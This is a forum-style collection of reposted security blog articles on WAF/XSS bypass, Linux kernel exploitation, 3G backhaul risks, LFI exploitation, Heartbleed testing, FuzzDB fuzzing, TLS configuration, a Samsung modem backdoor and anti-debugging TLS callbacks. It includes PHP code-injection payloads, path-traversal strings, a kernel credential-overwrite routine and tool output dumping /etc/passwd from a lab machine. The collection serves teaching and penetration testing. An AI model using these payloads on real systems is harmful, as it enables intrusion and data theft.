Nytro

Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters Last month i was asked by my university teacher "Sir Asim Ali" to write a paper on any topic related to "Computer Architecture" as a semester project. I was particularly interested in writing security related stuff, let it be related to computer architecture, networks etc. However i found that lots of work has already been done on the architecture level security. Therefore, i convinced my teacher that i'll be writing on "Bypassing Modern Web Application Firewall's" as some of you might know that most of my research is related to client side vulnerabilities and bypassing WAF's. In my day to day job as a penetration tester, it's very often that i encounter a web application firewall/filter that looks for malicious traffic inside the http request and filters it out, some of them are easy to break and some of them are very hard. However, in one or another context all the WAF's i have encountered are bypassable at some point. Rsnake's XSS cheat sheet was one of the best resources available for bypassing WAF's, however overtime as browsers got updated lots of the vectors didn't work on the newer browser. Therefore there was a need to create a new Cheat Sheet. Over time i have developed my own methodology for bypassing WAF's and that's what i have written the paper on. The paper talks specifically about bypassing XSS filters, as for SQLi, RCE etc. I thought to write a different paper as the techniques differ in many cases. Download: WAF_Bypassing_By_RAFAYBALOCH Sursa: Bypassing Modern WAF's XSS Filters - Cheat Sheet | Learn How To Hack - Ethical Hacking and security tips

[h=3]December HZV Meet : Linux Kernel Exploitation [/h]Hello, So, last Saturday, I did a talk about Linux Kernel Exploitation. I went over some well known vulnerabilities and I ended with a demo on a kernel exploitation challenge (here) by Jason Donenfeld (his site). The slides are at the end of this blog article. In this post, I will detail a bit more some of the slides in the talk. I will not detail every single slides, only the ones where I think there isn't enough details. If you don't understand some things, don't hesitate to comment . So, let's dig in. [h=2]Linux Kernel[/h] The kernel has LOTS of code. 15+ millions lines of code. LOTS of code mean complexity, complexity mean bugs and bugs mean potential vulnerabilities . Anyhow, the main gateway for users to interact with the kernel are syscalls and IOCTLs. Behind a syscall, especially network ones, there is a TONS of code. Effectively, for a bind() call, you have the same interface right? Well, the kernel, find the corresponding structure using the socket descriptor you use with your bind call. In that structure, there is what is called a struct proto_ops which contains callbacks for the corresponding protocol. [h=2]Exploiting the Linux Kernel[/h] The Linux Kernel is made of code, it is software. And everyone do know that software has bugs and vulnerabilities. The Linux Kernel is not an exception. You will mostly find all the vulnerabilities you know from userland: - stack based buffer overflows - heap based buffer overflows - race conditions - integer signedness issues - information leaks - initialisation issues - etc And some different ones: - NULL Pointer Dereference - stack overflow (real ones, not based on) - process manipulation tricks (mempodipper) - etc __copy_to_user() and copy_to_user() are not the same. The first one doesn't check that the address effectively live in userland while the second one do that. The goal of exploiting the kernel is mainly to get root. [h=2]NULL Pointer Dereference[/h]It was (is?) exploitable in kernel simply because you could (can?) map the NULL page in your exploit as it lives in userland. As such, it doesn't crash. [h=2]Heuristics[/h] These are routines that allow you to have good enough approximations. For instance, before 2.6.29, credentials were stored like this in the kernel: /*Kernel 2.6.23 include/linux/sched.h */ struct task_struct { /* ... */ /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; struct group_info *group_info; kernel_cap_t cap_effective, cap_inheritable, cap_permitted; unsigned keep_capabilities:1; struct user_struct *user; /* ... */ }; As you can see, uid, euid and suid will generally have the same value. So if you set thos values to 0, your process basically has root privileges. This heuristic is good enough as there is little chance that you will have 3 dwords with the same values in memory (don't forget we start to search from our current task_struct that represent our exploit process). This routine before 2.6.29 was thus enough to get root: // get root before 2.6.29 kernelvoid get_root_pre_2_6_29 (void) { uid_t uid, *cred; size_t byte; uid = getuid(); cred = get_task_struct(); if (!cred) return; for (byte = 0; byte < PAGE_SIZE; byte++) { if (cred[0] == uid && cred[1] == uid && cred[2] == uid) { cred[0] = cred[1] = cred[2] = cred[3] = 0; cred[4] = cred[5] = cred[6] = cred[7] = 0; } cred++; } } [h=2]Root in 3 big steps[/h]You've basically got 3 big steps: prepare, trigger vulnerability, trigger payload. [h=3]Prepare[/h] This is the most important step as this will greatly affect the reliability of your exploit. This is where you: - check that the kernel is vulnerable. - use information leaks - prepare the memory layout so you can predict reliably where your objects are - place your shell code in memory The avantage of shellcoding in the kernel : it is in C. [h=3]Trigger vulnerability[/h] This is where you will exploit your vulnerability. Patching memory, pointers and whatsoever. [h=3]Trigger payload[/h] This is where you escalate the privileges of your process. This is also where you fix the mayhem you may have caused earlier. It is REALLY important to fix the things you messed up as otherwise the machine may crash later. It is done in the payload as the payload is executed in kernel mode. root is in userland, root != kernel land, don't get confused about that. After triggering the payload, you go back in userland and spawn your root shell or whatsoever. Ok, now that you have the basic understanding, you are ready for some kernel goodies. [h=2]Linux Kernel Exploitation[/h]I won't explain CVE-2009-2692 unless some people ask for it. It is simple enough using the slides to comprehend. Anyhow, let's dig in TUN NULL Pointer Dereference. [h=3]TUN NULL Pointer Dereference[/h]This vulnerability is really interesting as there is something really special about it : the vulnerability is NOT in the source code. It is inserted at compilation. Basically, what happens is that tun is dereferenced before checking that tun is NULL. As such, GCC considers that the pointer doesn't need checking as we use it before checking : GCC removes the NULL check. Boom, vulnerability. The vulnerable code: static unsigned int tun_chr_poll(struct file *file, poll_table * wait){ struct tun_file *tfile = file->private_data; struct tun_struct *tun = __tun_get(tfile); struct sock *sk = tun->sk; unsigned int mask = 0; if (!tun) return POLLERR; /* ... */ if (sock_writeable(sk) || (!test_and_set_bit(SOCK_ASYNC_NOSPACE, &sk->sk_socket->flags) && sock_writeable(sk))) mask |= POLLOUT | POLLWRNORM; /* ... */ return mask; } o the NULL check doesn't exist and tun is NULL. So we can map the NULL page and we thus control tun->sk. We control sk->sk_socket->flags as well. test_and_set_bit() set the last bit at 1. Bang, we can set any NULL pointer to 1. In the exploit, mmap() is chosen as the TUN device doesn't have a mmap(). mmap() need to be see to one even though we control the NULL page as internally mmap() is not called if it's NULL. Put a trampoline at address 1 to jump over all the junk you've set up and go to your payload. And that it's, you've escalated your privileges. [h=4]Why mmap() can't be NULL?[/h] If you dig around in the kernel, here is what to look for: // arch/x86/kernel/sys_x86_64.c:21: asmlinkage long sys_mmap(unsigned long addr, unsigned long len,asmlinkage long sys_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long off) { long error; struct file *file; error = -EINVAL; if (off & ~PAGE_MASK) goto out; error = -EBADF; file = NULL; flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); if (!(flags & MAP_ANONYMOUS)) { file = fget(fd); if (!file) goto out; } down_write(&current->mm->mmap_sem); error = do_mmap_pgoff(file, addr, len, prot, flags, off >> PAGE_SHIFT); up_write(&current->mm->mmap_sem); if (file) fput(file); out: return error; } If you go down do_mmap_pgoff(), you end up finding this code: // mm/mmap.c/* ... */ if (!file->f_op || !file->f_op->mmap) return -ENODEV; break; /* ... */ So here it is, if mmap() is NULL, it doesn't get called. That is why it sets the mmap() pointer to 1. [h=2]Other exploits[/h]This is where it gets pretty hard to explain as there is still tons of code to read x). I dug a bit in vmsplice, RDS and perf_events exploits. vmsplice use buffer overflow, but it's not a common one as it doesn't overwrite any function or return pointers. What it overwrites are compound page addresses (values we don't control) and then call a dtor pointer the attacker control. Privileged code execution is gained in put_compound_page() through the call of a destructor function pointer that we control. This dtor pointer obviously points to the attacker payload. At the end of the article, I've attached some analysis I did for vmsplice. There is lot of code to cover though so I won't detail it in this post. I haven't thoroughly analyzed the RDS exploit yet but it is a write-what-where. The perf_events exploit is really interesting. It 'basically' increment a INT handler pointer upper bytes in 64 bits so the pointer end up in userland. The exploit then return to this allocated memory containing the payload. The exploit also use a neat trick to compute the perf_event array. An entire post is necessary as well to properly understand this exploit. Analysis have already been done anyhow by other people. [h=2]The challenge[/h] The VM is a 64 Bit Linux system made especially by Jason Donenfeld (aka zx2c4). The vulnerability allows us to write a 0 anywhere in kernel memory. As such, in my exploit, I zeroed out some part of a proto_ops function pointer. mmap() it, put my payload over there, jump to it and fix it. I debugged the exploit using registry information showed when the exploit crashed. The exploit is included in the archive below. [h=2]Conclusion[/h]As you can see, kernel exploitation has some similitudes with userland exploitation. The differences mainly stem in the protections and the impact that a bug can have. For instance, in kernel-land, not initializing a structure fully can have severe consequence (code execution through NULL pointer dereference, etc) while in userland, it may cause an infoleak but not directly code execution. Moreover, this also shows that the kernel is piece of software and is as such exploitable. Hope you enjoyed the article, I welcome any feedback on it, Cheers, m_101 [h=2]References[/h] - The slides : here - Jason Donenfield's challenge : here - sgrakkyu's blog : kernelbof - Attacking the Core : Kernel Exploiting Note - "A Guide to Kernel Exploitation: Attacking the Core" de Enrico Perla et Massimiliano Oldani - Miscellaneous exploits : NULL deref sendpage, NULL deref /dev/net/tun, vmsplice, RDS write-what-where, integer problem perf_swevent - MISC explaining perf_swevent exploit : Misc 69 Sursa: Binary world for binary people : December HZV Meet : Linux Kernel Exploitation

[h=3]Unusual 3G/4G Security: Access to a Backhaul Network[/h]A backhaul network is used to connect base stations (known as NodeB in 3G terminology) to a radio network controller (RNC). Connection costs for base stations comprise a significant part of provider's total expenses, so it is reasonable to reduce costs related to building and running of such networks, in particular by implementing new technologies. Evolution made the trip from ATM connections to SDH/SONET, DSL, IP/MPLS and metro Ethernet. Today traffic is communicated through IP packets. When a large metro network is given, we just can't use it for base stations connection only. So then it provides channels to legal entities and in some areas it provides home users with Internet access. A converged network as it is. And security is a pressing issue when it comes to converged networks. Voice and GPRS packet data are transmitted in an encrypted form over the network section between a NodeB and an RNC. But what about management traffic? What protocols are used to manage the NodeB directly? Due to the choice of a provider, it may be HTTP/HTTPS, Telnet/SSH, as well as different types of MML (a man-machine language). Unfortunately, protocols that do not encrypt data are often used to manage network elements. What happens if an intruder gets access to a network segment? Is he able to capture data in this case? How will he do it? At present, each device has an IP management interface and an Ethernet port to connect to a network. Base stations are no exception. Upon intrusion into a network, an attacker can use common ARP spoofing to catch data that technicians use to manage network devices. An example of an MML session shows how simple it is. As you go further, you will understand it really is a problem. After getting access to one base station, it is possible to break into other stations, since management IP addresses are freely routed at least within one network. Note: a mobile provider has hundreds of base stations in each city. What if it loses connection with one of the stations or has to execute works on site? For these purposes, there is a local account on a device. Such an account is usually equal for all devices, which means that an intruder can get control over hundreds of devices. A telephone network used to be an extremely isolated and controlled system. It seems that times have changed. The question is, whether telecommunication companies realize that. Author: Dmitry Kurbatov, Positive Research Sursa: Positive Research Center: Unusual 3G/4G Security: Access to a Backhaul Network

[h=3]LFI Exploitation : Basics, code execution and information leak [/h]Hello, Today, I played a bit with Metasploitable 2. It is really easy to root, so that's not the interest of this blog post. Anyhow, I played a bit around and I ended up coding a basic LFI exploit tool. So yet another post on LFI exploitation ... [h=2]So what is LFI?[/h] LFI stands for Local File Inclusion. It is a vulnerability that allows you to include local files. Many people do think that it's not really dangerous as it only includes LOCAL files. Unfortunately (depending on which side of the barrier you are ...), it is false, you can execute code through a LFI. [h=2]So, how do you exploit it?[/h] By including local files. Yes, local files . These are the well-known techniques for LFI: - apache logs - /proc/self/environ - php://input - NULL Byte Injection - path truncation - directory traversal - PHP filters - image inclusion with PHP code [h=3]Apache logs[/h]These were publicly accessible in old distros. Now, these are only readable by proper users. You'd basically inject PHP Code through the GET requests: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/<?php system ('id'); ?> [/TD] [/TR] [/TABLE] This would leave PHP code in the logs. Then executing the PHP code is as simple as: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=/var/log/apache2/access_log [/TD] [/TR] [/TABLE] Code execution if there is no proper rights on the logs (some old systems remain). [h=3]/proc/self/environ[/h] This file is interesting as it stores stuffs like your USER-AGENT and whatsoever. So, if you change your User-Agent to ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php system ('id'); ?> [/TD] [/TR] [/TABLE] and use this: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=/proc/self/environ [/TD] [/TR] [/TABLE] Yes, code execution! [h=3]php://input[/h]Ok, this one execute PHP Code included into the POST DATA. [h=3]NULL byte injection and path truncation[/h]This one is pretty neat. Say you have the following code: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php include ($_GET['page'] . '.php'); ?> [/TD] [/TR] [/TABLE] Well, you can get rid of the '.php' extension using that trick. Just append or looooooots of . or /., this will get normalized and voila no more extension. NULL Byte poisoning doesn't work for PHP >= 5.3.4 as it's been fixed. Reverse path truncation is mostly the same, just the ../ is before the file name. [h=3]PHP filters[/h]This vulnerability is mainly for leaking files (.php and others). This doesn't work if you have a prefix such as here: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]<?php include ($prefix + $_GET['page'] + '.php'); ?> [/TD] [/TR] [/TABLE] You exploit it using this request for instance: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]http://victim/?page=php://filter/read=convert.base64-encode/resource=index.php [/TD] [/TR] [/TABLE] As you guessed, the PHP filter is ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]php://filter/read=convert.base64-encode/resource= [/TD] [/TR] [/TABLE] . [h=3]image with PHP code[/h] This one is about appending PHP code in an image. Using the image in the LFI allows you to inject PHP code : the PHP interpreter interprets anything as code as long as it's in <?php ?>. If you have a non exploitable LFI with /proc/self/environ or apaches logs and you don't have an extension concatenation, this can allow you to exploit it if you are able to upload images. Let's say you have PHPBB and PhpLdapAdmin 1.1.0.5. Well, you can upload an image using PHPBB then exploit the LFI in PhpLdapAdmin using the directory traversal trick => code execution. [h=2]Exploit[/h] I wrote a basic LFI exploiter that uses PHP filter or /proc/self/environ tricks. You can get it at LFI exploit tool . The code isn't clean and it needs tons of improvement before being really a usable tool. I plan on improving it on a need to basis. The cookie functionality is not implemented yet, it is just a placeholder for now. You can test it on multilidae on Metasploitable 2. I haven't tested it somewhere else yet. Example of utilisation (this is on metasploitable 2): $ ./exploit-lfi.py -h usage: exploit-lfi.py [-h] --url URL [--action ACTION] --option OPTION [--replace REPLACE] [--cookie COOKIE] Exploit LFI optional arguments: -h, --help show this help message and exit --url URL, -u URL URL to attack --action ACTION, -a ACTION exec or read (default) --option OPTION, -o OPTION Action argument --replace REPLACE, -r REPLACE string to replace --cookie COOKIE, -c COOKIE Cookie $ ./exploit-lfi.py -u 'http://192.168.56.107/mutillidae/index.php?page=show-log.php' -o 'cat /etc/passwd' [+] Checking vulnerability Test url : http://192.168.56.107/mutillidae/index.php?page=whatever& Is vulnerable with param page! [+] Found vulnerability, new URL : http://192.168.56.107/mutillidae/index.php?page=PAYLOAD& [+] Searching for root path root : ../../../ [+] New URL : http://192.168.56.107/mutillidae/index.php?page=../../../PAYLOAD& [+] Testing : {'path': '/proc/self/environ', 'type': 'header'} http://192.168.56.107/mutillidae/index.php?page=../../..//proc/self/environ& root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false [h=2]Conclusion[/h]As you can see in this introduction, code execution is quite possible with a LFI. These aren't only information leaks vulnerabilities. That's all for today. Cheers, m_101 Updates - 18/12/2013 : the LFI exploit tool I wrote has been moved to its own repository : https://github.com/m101/lfipwn/ and cookie functionality does work. [h=2]References[/h] - Basics on file inclusion : File Inclusion - Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools - PhpLdapAdmin LFI : phpldapadmin Local File Inclusion - path truncation part 1 : ush.it - a beautiful place - path truncation part 2 : ush.it - a beautiful place Sursa: Binary world for binary people : LFI Exploitation : Basics, code execution and information leak

Testing for Heartbleed vulnerability without exploiting the server. Heartbleed is a serious vulnerability in OpenSSL that was disclosed on Tuesday, April 8th, and impacted any sites or services using OpenSSL 1.01 – 1.01.f and 1.0.2-beta1. Due to the nature of the bug, the only obvious way to test a server for the bug was an invasive attempt to retrieve memory–and this could lead to the compromise of sensitive data and/or potentially crash the service. I developed a new test case that neither accesses sensitive data nor impacts service performance, and am posting the details here to help organizations conduct safe testing for Heartbleed vulnerabilities. While there is a higher chance of a false positive, this test should be safe to use against critical services. The test works by observing a specification implementation error in vulnerable versions of OpenSSL: they respond to larger than allowed HeartbeatMessages. Details: OpenSSL was patched by commit 731f431. This patch addressed 2 implementation issues with the Heartbeat extension: HeartbeatRequest message specifying an erroneous payload length Total HeartbeatMessage length exceeding 2^14 (16,384 bytes) Newer versions of OpenSSL silently discard messages which fall into the above categories. It is possible to detect older versions of OpenSSL by constructing a HeartbeatMessage and not sending padding bytes. This results in the below evaluating true: /* Read type and payload length first */ if (1 + 2 + 16 > s->s3->rrec.length) return 0; /* silently discard */ Vulnerable versions of OpenSSL will respond to the request. However no server memory will be read because the client sent payload_length bytes. False positives may occur when all the following conditions are met (but it is unlikely): The service uses a library other than OpenSSL The library supports the Heartbeat extension The service has Heartbeat enabled The library performs a fixed length padding check similar to OpenSSL False negatives may occur when all the following conditions are met, and can be minimized by repeating the test: The service uses a vulnerable version of OpenSSL The Heartbeat request isn’t received by the testing client I have modified the Metasploit openssl_heartbleed module to support the ‘check’ option. You can download the updated module at https://github.com/dchan/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb We hope you can use this to test your servers and make sure any vulnerable ones get fixed! David Chan Mozilla Security Engineer Sursa: https://blog.mozilla.org/security/2014/04/12/testing-for-heartbleed-vulnerability-without-exploiting-the-server/

Using FuzzDB for Testing Website Security After posting an introduction to FuzzDB I received the suggestion to write more detailed walkthroughs of the data files and how they could be used during black-box web application penetration testing. This article highlights some of my favorite FuzzDB files and discusses ways I’ve used them in the past. If there are particular parts or usages of FuzzDB you’d like to see explored in a future blog post, let me know. Exploiting Local File Inclusion Scenario: While testing a website you identify a Local File Inclusion (LFI) vulnerability. Considering the various ways of exploiting LFI bugs, there are several pieces of required information that FuzzDB can help us to identify. (There is a nice cheatsheet here: Exploiting PHP File Inclusion – Overview | Reiners' Weblog) The first is directory traversal: How far to traverse? How do the characters have to be encoded to bypass possible defensive relative path traversal blacklists, a common but poor security mechanism employed by many applications? FuzzDB contains an 8 directory deep set of Directory Traversal attack patterns using various exotic URL encoding mechanisms: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/path-traversal/traversals-8-deep-exotic-encoding.txt For example: /%c0%ae%c0%ae\{FILE} /%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE} /%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae/{FILE} In your fuzzer, you’d replace {FILE} with a known file location appropriate to the type of system you’re testing, such as the string “etc/password” (for a UNIX system target) then review the output of the returned request responses to find responses indicating success, ie, that the targeted file has been successfully retrieved. In terms of workflow, try sorting the responses by number of bytes returned, the successful response will most become immediately apparent. The cheatsheet discusses a method of including injected PHP code, but in order to do this, you need to be able to write to the server’s disk. Two places that the HTTPD daemon typically would have write permissions are the access and error logs. FuzzDB contains a file of common location for HTTP server log files culled from popular distribution packages. After finding a working traversal string, configure your fuzzer to try these file locations, appended to the previously located working directory path: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/lfi/common-unix-httpd-log-locations.txt Fuzzing for Unknown Methods Improper Authorization occurs when an application doesn’t validate whether the current user context has permission to perform the requested command. One common presentation is in applications which utilize role-based access control, where the application uses the current user’s role in order to determine which menu options to display, but never validates that the chosen option is within the current user’s allowed permissions set. Using the application normally, a user would be unlikely to be able to select an option they weren’t allowed to use because it would never be presented. If an attacker were to learn these methods, they’d be able to exceed the expected set of permissions for their user role. Many applications use human-readable values for application methods passed in parameters. FuzzDB contains list of common web method names can be fuzzed in an attempt to find functionality that may be available to the user but is not displayed by any menu. https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/BizLogic/CommonMethods.fuzz.txt These methods can be injected wherever you see others being passed, such as in GET and POST request parameter values, cookies, serialized requests, REST urls, and with web services. Protip: In addition to this targeted brute-force approach it can also be useful to look inside the site’s Javascript files. If the site designers have deployed monolithic script files that are downloaded by all users regardless of permissions where the application pages displayed to a user only call the functions that are permitted for the current user role, you can sometimes find endpoints and methods that you haven’t observed while crawling the site. Leftover Debug Functionality Software sometimes gets accidentally deployed with leftover debug code. When triggered, the results can range from seeing extended error messages that reveal sensitive information about the application state or configuration that can be useful for helping to plan further attacks to bypassing authentication and/or authorization, or to displaying additional test functionality that could violate the integrity or confidentiality of data in ways that the developers didn’t intend to occur in a production scenario. FuzzDB contains a list of debug parameters that have been observed in bug reports, in my own experience, and some which are totally hypothesized by me but realistic: https://code.google.com/p/fuzzdb/source/browse/trunk/attack-payloads/BizLogic/DebugParams.fuzz.txt Sample file content: admin=1 admin=true admin=y admin=yes adm=true adm=y adm=yes dbg=1 dbg=true dbg=y dbg=yes debug=1 debug=true debug=y debug=yes “1” “true” “y” and “yes” are the most common values I’ve seen. If you observe a different but consistent scheme in use in the application you’re assessing, plug that in. In practice, I’ve had luck using them as name/value pairs for GET requests, POST requests, as cookie name/value pairs, and inside serialized requests in order to elicit a useful response (for the tester) from the server. Predictable File Locations Application installer packages place components into known, predictable locations. FuzzDB contains lists of known file locations for many popular web servers and applications https://code.google.com/p/fuzzdb/source/browse/trunk/#trunk%2Fdiscovery%2FPredictableRes Example: You identify that the server you’re testing is running Apache Tomcat. A list of common locations for interesting default Tomcat files is used to identify information leakage and additional attackable functionality. https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/ApacheTomcat.fuzz.txt Example: A directory called /admin is located. Sets of files are deployed which will aid in identifying resources likely to be in such a directory. https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/Logins.fuzz.txt Forcible Browsing for Potentially Interesting Files Certain operating systems and file editors can inadvertently leave backup copies of sensitive files. This can end up revealing source code, pages without any inbound links, credentials, compressed backup files, and who knows what. FuzzDB contains hundreds of common file extensions including one hundred eighty six compressed file format extensions, extensions commonly used for backup versions of files, and a set of primitives of “COPY OF” as can be prepended to filenames by Windows servers. https://code.google.com/p/fuzzdb/source/browse/#svn%2Ftrunk%2Fdiscovery%2FFilenameBruteforce In practice, you’d use these lists in your fuzzer in combination with filenames and paths discovered while crawling the targeted application. Upcoming posts will discuss other usage scenarios. Sursa: https://blog.mozilla.org/security/2014/03/25/using-fuzzdb-for-testing-website-security/

[h=1]Navigating the TLS landscape[/h] A few weeks ago, we enabled Perfect Forward Secrecy on https://www.mozilla.org [1]. Simultaneously, we published our guidelines for configuring TLS on the server side. In this blog post, we want to discuss some of the SSL/TLS work that the Operations Security (OpSec) team has been busy with. For operational teams, configuring SSL/TLS on servers is becoming increasingly complex. BEAST, LUCKY13, CRIME, BREACH and RC4 are examples of a fast moving security landscape, that made recommendations from a only few months ago already obsolete. Mozilla’s infrastructure is growing fast. We are adding new services for Firefox and Firefox OS, in addition to an ever increasing number of smaller projects and experiments. The teams tasked with deploying and maintaining these services need help sorting through known TLS issues and academic research. So, for the past few months, OpSec has been doing a review of the state-of-the-art of TLS. This is in parallel and complementary to work by the Security Engineering team on cipher preferences in Firefox. The end goal being to support, at the infrastructure level, the security features championed by Firefox. We published our guidelines at https://wiki.mozilla.org/Security/Server_Side_TLS. The document is a quick reference and a training guide for engineers. There is a strong demand for a standard ciphersuite that can be copied directly into configuration files. But we also wanted to publish the building blocks of this ciphersuite, and explain why a given cipher is prefered to another. These building blocks are the core of the ciphersuite discussion, and will be used as references when new attacks are discovered. Another important aspect of the guideline is the need to be broad, we want people to be able to reach https://mozilla.org and access Mozilla’s services from anywhere. For this reason, SSLv3 is still part of the recommended configuration. However, ciphers that are deprecated, and no longer needed for backward compatibility are disabled. DSA ciphers are included in the list as well, even though almost no-one uses DSA certificates right now, but might in the future. At the core of our effort is a strong push toward Perfect Forward Secrecy (PFS) and OCSP stapling. PFS improves secrecy in the long run, and will become the de-facto cipher in all browsers. But it comes with new challenges: the handshake takes longer, due to the key exchange, and a new parameter (dhparam/ecparam) is needed. Ideally, the extra-parameter should provide the same level of security as the RSA key does. But we found that old client libraries, such as Java 6, are not compatible with larger parameter sizes. This is a problem we cannot solve server-side, because the client has no way to tell the server which parameter sizes it supports. As a result, the server will start the PFS handshake, and the client will fail in the middle of the handshake. Without a way for the handshake to fall back and continue, we have to use smaller parameter sizes until old libraries can be deprecated. OCSP stapling is a big performance improvement. OCSP requests to third party resolvers block the TLS Handshake, directly impacting the user’s perception of page opening time. Recent web servers can now cache the OCSP response and serve it directly, saving the round trip to the client. OCSP stapling is likely to become an important feature of Browsers in the near future, because it improves performances, and reduces the cost of running worldwide OCSP responders for Certificate Authorities. OpSec will maintain this document by keeping it up to date with changes in the TLS landscape. We are using it to drive changes in Mozilla’s infrastructure. This is not a trivial task, as TLS is only one piece of the complex puzzle of providing web connectivity to large websites. We found that very few products provide the full set of features we need, and most operating systems don’t provide the latest TLS versions and ciphers. This is a step forward, but it will take some time until we provide first class TLS across the board. Feel free to use, share and discuss these guidelines. We welcome feedback from the security and cryptography communities. Comments can be posted on the discussion section of the wiki page, submitted to the dev-tech-crypto mailing list, posted on Bugzilla, or in #security on IRC. This a public resource, meant to improve the usage of HTTPS on the Internet. Sursa: https://blog.mozilla.org/security/2013/11/12/navigating-tls/

[h=1]Backdoor exploit discovered in Samsung Galaxy[/h] Posted by: FastFlux March 13, 2014 in Mobile, Security A zero-day has been discovered that allows attacks to remotely exploit a software-based backdoor contained in a minimum of nine various types of Samsung smartphones and tablets. This exploit allows the attacker to steal documents and location information or activate a microphone and camera. The news came to light Wednesday by individuals of the Replicant project, which develops free variants of Android to replace the static versions pre-installed by most carriers and suppliers. Replicant developers stated they discovered that the radio modems on several Samsung devices will carry out remote file system (RFS) commands. “We discovered that the proprietary program running on the applications processor in charge of handling the communication protocol with the modem actually implements a back door that lets the modem perform remote file I/O operations on the file system,” said Replicant developer Paul Kocialkowski in a article posted on Free software Foundation. “This program is shipped with the Samsung Galaxy devices and makes it possible for the modem to read, write, and delete files on the phone’s storage,”, “On several phone models, this program runs with sufficient rights to access and modify the user’s personal data.” he added. Samsung didn’t immediately reply to an emailed request for comment about Replicant’s findings or even to question about which models may be affected and whether or not they planned to patch vulnerable devices. According to Replicant’s research discovered nine various kinds of Samsung devices which contain the vulnerability: the Nexus S, Galaxy S, Galaxy S 2, Galaxy Note, Galaxy Nexus, Galaxy Tab 2 7.0, Galaxy Tab 2 10.1, Galaxy S 3, and Galaxy Note 2. Other devices are unknown at this time, they speculate there could be many more. affected. Sursa: Backdoor exploit discovered in Samsung Galaxy

[h=1]Detect debugger with TLS callback[/h][h=3]zwclose7[/h] TLS callback is a function that called before the process entry point executes. If you run the executable with a debugger, the TLS callback will be executed before the debugger breaks. This means you can perform anti-debugging checks before the debugger can do anything. Therefore, TLS callback is a very powerful anti-debugging technique. To add a TLS callback to your program, you need to create a section called .CRT$XLB in the executable image, and then put the TLS callback function address into this section. You also need to add the __tls_used symbol to the executable image. The following stack trace shows how the TLS callback called (from Process Hacker) 0, ntoskrnl.exe!KiDeliverApc+0x1c7 1, ntoskrnl.exe!KiCommitThreadWait+0x3dd 2, ntoskrnl.exe!KeWaitForSingleObject+0x19f 3, win32k.sys!xxxRealSleepThread+0x257 4, win32k.sys!xxxSleepThread+0x59 5, win32k.sys!NtUserWaitMessage+0x46 6, ntoskrnl.exe!KiSystemServiceCopyEnd+0x13 7, wow64cpu.dll!CpupSyscallStub+0x9 8, wow64cpu.dll!Thunk0Arg+0x5 9, wow64.dll!RunCpuSimulation+0xa 10, wow64.dll!Wow64LdrpInitialize+0x42a 11, ntdll.dll!LdrpInitializeProcess+0x17e3 12, ntdll.dll! ?? ::FNODOBFM::`string'+0x28ff0 13, ntdll.dll!LdrInitializeThunk+0xe 14, user32.dll!NtUserWaitMessage+0x15 15, user32.dll!DialogBox2+0x222 16, user32.dll!InternalDialogBox+0xe5 17, user32.dll!SoftModalMessageBox+0x757 18, user32.dll!MessageBoxWorker+0x269 19, user32.dll!MessageBoxTimeoutW+0x52 20, user32.dll!MessageBoxTimeoutA+0x76 21, user32.dll!MessageBoxExA+0x1b 22, user32.dll!MessageBoxA+0x18 23, tls.exe!TlsCallback+0x3c 24, ntdll.dll!LdrpCallInitRoutine+0x14 25, ntdll.dll!LdrpCallTlsInitializers+0x9e 26, 